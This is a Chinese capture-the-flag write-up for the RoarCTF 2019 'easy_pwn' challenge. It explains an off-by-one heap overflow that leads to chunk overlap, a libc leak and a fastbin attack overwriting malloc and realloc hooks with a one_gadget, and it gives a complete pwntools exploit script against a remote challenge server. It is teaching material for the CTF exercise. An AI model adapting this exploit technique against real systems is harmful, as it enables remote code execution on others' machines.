RoarCTF2019-easy_pwn

malloc hook写realloc

realloc hook写onegadget

发现之前博客里的图片基本都挂了2333,但是右键链接去看能看见,以后尽量不带图片叭(咕咕咕

如果编辑时的size-create时填的size=10,会有一个字节的溢出,通过分配0xf8,0x68这样大小的chunk,使得这一个字节的溢出能溢出到下一个chunk的size位,最终产生了堆重叠,通过分配chunk对unsorted bin的切割,使得可以show的chunk中内容为main arena+88,从而leak libc,fastbin attack。

之后因为one_gadget条件一个都不满足,需要先执行__libc_realloc去调整,所以在malloc hook填上realloc函数的地址,在realloc hook填上onegadget的地址,就满足了条件,这里根据实际情况可能malloc hook上填写的地址可能是realloc加上一个偏移。

1
from pwn import *
sh=remote("node3.buuoj.cn",28000)
#sh=process("./roarctf_2019_easy_pwn.dms")
one=[0x45216,0x4526a,0xf02a4,0xf1147]
def create(size):
	sh.recvuntil("choice: ")
	sh.sendline("1")
	sh.recvuntil("size: ")
	sh.sendline(str(int(size)))
def write(idx,size,content):
	sh.recvuntil("choice: ")
	sh.sendline("2")
	sh.recvuntil("index: ")
	sh.sendline(str(int(idx)))
	sh.recvuntil("size: ")
	sh.sendline(str(int(size)))
	sh.recvuntil("content: ")
	sh.send(content)
def drop(idx):
	sh.recvuntil("choice: ")
	sh.sendline("3")
	sh.recvuntil("index: ")
	sh.sendline(str(int(idx)))
def show(idx):
	sh.recvuntil("choice: ")
	sh.sendline("4")
	sh.recvuntil("index: ")
	sh.sendline(str(int(idx)))
create(0xf8)#0
create(0x68)#1 110
create(0x68)#2 180
create(0xf8)#3
create(0x18)#4
write(2,0x68+10,p64(0)*12+p64(0x1e0)+'\x00')
drop(0)
drop(3)
create(0xf0)#0
show(1)
sh.recvuntil("content: ")
main_arena=u64(sh.recv(6)+"\x00\x00")-88
log.success("main_arena: "+hex(main_arena))
libcbase=main_arena-0x7f4485114b20+0x7f4484d50000
log.success("libcbase: "+hex(libcbase))
mallochook=main_arena-0x10
realloc=libcbase+0x846C0
#print hex(reallochook)
drop(0)
create(0xe8)#0
create(0xf8)#3
write(3,0xf0,p64(0)+p64(0x71)+p64(0)*13+p64(0x71)+p64(0)*13+p64(0x71))
drop(1)
write(3,0x18,p64(0)+p64(0x71)+p64(mallochook-0x23))
create(0x60)#1
create(0x60)#5
write(5,27,'a'*11+p64(libcbase+one[1])+p64(realloc))

sh.interactive()
文章目录
|